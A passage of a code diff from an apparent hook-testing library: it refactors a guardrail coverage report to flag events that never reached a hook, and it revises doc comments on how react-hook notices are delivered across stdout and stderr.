+ return `${result.blocked ? "βœ… blocks" : "Β· allows"} ${result.event.label}`;
247
+ }
192
248
  /**
193
249
  * Render a coverage report (informational, NEUTRAL). It reports what the
194
250
  * hook blocks WITHOUT judging it: a hook that allows these may simply not be a
@@ -198,14 +254,17 @@ function assertBlocksDisasters(hookCommand, opts = {}) {
198
254
  */
199
255
  function formatGuardrailReport(hookCommand, results) {
200
256
  const blocked = results.filter((r) => r.blocked).length;
257
+ const skipped = results.filter((r) => !r.ran).length;
201
258
  const head = `Guardrail coverage for \`${hookCommand}\` β€” blocks ${blocked}/${results.length} of the dangerous battery`;
202
- const rows = results.map((r) => {
203
- const mark = r.blocked ? "βœ… blocks" : "Β· allows";
204
- return ` ${mark} ${r.event.label}`;
205
- });
206
- const foot = blocked < results.length
207
- ? "\nAllows β‰  a bug unless this guard is MEANT to block them β€” gate intent with\nassertBlocksDisasters(cmd, { categories: [...] })."
208
- : "";
259
+ const rows = results.map((r) => ` ${guardrailRow(r)}`);
260
+ const foot = [
261
+ blocked < results.length
262
+ ? "\nAllows β‰  a bug unless this guard is MEANT to block them β€” gate intent with\nassertBlocksDisasters(cmd, { categories: [...] })."
263
+ : "",
264
+ skipped > 0
265
+ ? `\n⊘ ${skipped} event(s) never reached this hook: its condition does not match them,\nso it cannot protect you there however its body is written.`
266
+ : "",
267
+ ].join("");
209
268
  return [head, ...rows].join("\n") + foot;
210
269
  }
211
270
  //# sourceMappingURL=guardrail-check.js.map
@@ -65,11 +65,14 @@ export declare function assertHookAllows(hook: AnyHook, event: RawHookEvent): vo
65
65
  * matching its message β€” the react-tier twin of {@link assertHookDenies}.
66
66
  *
67
67
  * A react hook can't block, so the gate assertions don't apply to it, and there
68
- * was no assertion that did. That left `notice()` a live trap: its message goes
69
- * to **stderr**, so a probe built on `execFileSync` (which returns stdout only)
70
- * sees nothing and reports a perfectly healthy react hook as DEAD β€” measured
71
- * against three real hooks on 2026-08-03. Reading the reaction in-process means
72
- * stdout-vs-stderr never enters into it.
68
+ * was no assertion that did. That left `notice()` a live trap: a probe built on
69
+ * `execFileSync` (which returns stdout only) reported a perfectly healthy react
70
+ * hook as DEAD β€” measured against three real hooks on 2026-08-03. Reading the
71
+ * reaction in-process means no stream enters into it, which is why this
72
+ * assertion did not change when delivery did: since 2026-09-07 a notice also
73
+ * goes to stdout as `additionalContext` on an event the harness injects (see
74
+ * `noticeDelivery`), so WHICH stream carries it now depends on the event β€” a
75
+ * stream probe is even less answerable than before, and this one is unaffected.
73
76
  */
74
77
  export declare function assertHookNotices(hook: AnyHook, event: RawHookEvent, matcher?: string | RegExp): void;
75
78
  /**
@@ -224,11 +224,14 @@ function assertHookAllows(hook, event) {
224
224
  * matching its message β€” the react-tier twin of {@link assertHookDenies}.
225
225
  *
226
226
  * A react hook can't block, so the gate assertions don't apply to it, and there
227
- * was no assertion that did. That left `notice()` a live trap: its message goes
228
- * to **stderr**, so a probe built on `execFileSync` (which returns stdout only)
229
- * sees nothing and reports a perfectly healthy react hook as DEAD β€” measured
230
- * against three real hooks on 2026-08-03. Reading the reaction in-process means
231
- * stdout-vs-stderr never enters into it.
227
+ * was no assertion that did. That left `notice()` a live trap: a probe built on
228
+ * `execFileSync` (which returns stdout only) reported a perfectly healthy react
229
+ * hook as DEAD β€” measured against three real hooks on 2026-08-03. Reading the
230
+ * reaction in-process means no stream enters into it, which is why this
231
+ * assertion did not change when delivery did: since 2026-09-07 a notice also
232
+ * goes to stdout as `additionalContext` on an event the harness injects (see
233
+ * `noticeDelivery`), so WHICH stream carries it now depends on the event β€” a
234
+ * stream probe is even less answerable than before, and this one is unaffected.
232
235
  */
233
236
  function assertHookNotices(hook, event, matcher) {
234
237
  const o = runCountedHookProgram(hook, event);